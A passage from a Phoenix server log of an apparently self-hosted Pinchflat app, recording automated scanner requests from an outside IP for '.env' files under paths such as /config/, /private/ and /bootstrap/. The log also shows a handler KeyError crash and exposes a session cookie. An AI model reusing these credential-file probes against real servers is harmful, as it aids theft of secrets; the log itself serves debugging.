has_body: false, streamid: 50, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /core/app/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/core/app/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 50, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, (truncated) 02:10:11.125 [info] GET /config/.env 02:10:11.125 [debug] QUERY OK source="settings" db=0.1ms idle=231.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.125 [debug] QUERY OK source="settings" db=0.0ms idle=231.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.125 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:11.126 [error] #PID<0.3355.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 51) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /config/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 51, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3355.0>, params: %{}, path_info: ["config", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/config/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6ScnTAUJk-kAAQyB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 51, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /config/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/config/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 51, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: fal (truncated) 02:10:11.237 [info] GET /private/.env 02:10:11.238 [debug] QUERY OK source="settings" db=0.2ms idle=294.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.238 [debug] QUERY OK source="settings" db=0.1ms idle=224.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.238 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:11.238 [error] #PID<0.3356.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 52) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /private/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /private/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/private/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 52, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3356.0>, params: %{}, path_info: ["private", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/private/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6S3bdal3vUkAAQzB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/private/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 52, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /private/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/private/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 52, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, hal (truncated) 02:10:11.354 [info] GET /application/.env 02:10:11.355 [debug] QUERY OK source="settings" db=0.5ms idle=340.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.355 [debug] QUERY OK source="settings" db=0.2ms queue=0.1ms idle=229.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.355 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:11.356 [error] #PID<0.3357.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 53) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /application/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 53, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, halted: false, host: "pinchflat.tail3db17d.ts.net", method: "GET", owner: #PID<0.3357.0>, params: %{}, path_info: ["application", ""], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.tail3db17d.ts.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {127, 0, 0, 1}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip, deflate"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ"}, {"host", "pinchflat.tail3db17d.ts.net"}, {"next-action", "x"}, {"tailscale-funnel-request", "?1"}, {"user-agent", "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "3.21.113.64"}, {"x-forwarded-host", "pinchflat.tail3db17d.ts.net"}, {"x-forwarded-proto", "https"}, {"x-nextjs-request-id", "ef409ae1"} ], request_path: "/application/.env", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GMUk6TTMOgT1z3gAAQ0B"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 53, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /application/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/application/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8xDWQQ", "host" => "pinchflat.tail3db17d.ts.net", "next-action" => "x", "tailscale-funnel-request" => "?1", "user-agent" => "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "3.21.113.64", "x-forwarded-host" => "pinchflat.tail3db17d.ts.net", "x-forwarded-proto" => "https", "x-nextjs-request-id" => "ef409ae1" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", has_body: false, streamid: 53, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYMk1BaXQxaDJ1UjRvc2U0Zzc4T2VOU2VE.CSs7SZPuUW-d2_e3F8SofLYo-6V0ZoPahdgmZ8x (truncated) 02:10:11.469 [info] GET /bootstrap/.env 02:10:11.470 [debug] QUERY OK source="settings" db=0.6ms idle=343.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.470 [debug] QUERY OK source="settings" db=0.3ms idle=232.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:10:11.470 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:10:11.470 [error] #PID<0.3358.0> running PinchflatWeb.Endpoint (connection #PID<0.3304.0>, stream id 54) terminated Server: pinchflat.tail3db17d.ts.net:80 (http) Request: GET /bootstrap/.env ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /bootstrap/ (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.3304.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/bootstrap/.env", host: "pinchflat.tail3db17d.ts.net", peer: {{127, 0, 0, 1}, 56604}, bindings: %{}, sock: {{127, 0, 0, 1}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip, deflate", "cookie" => 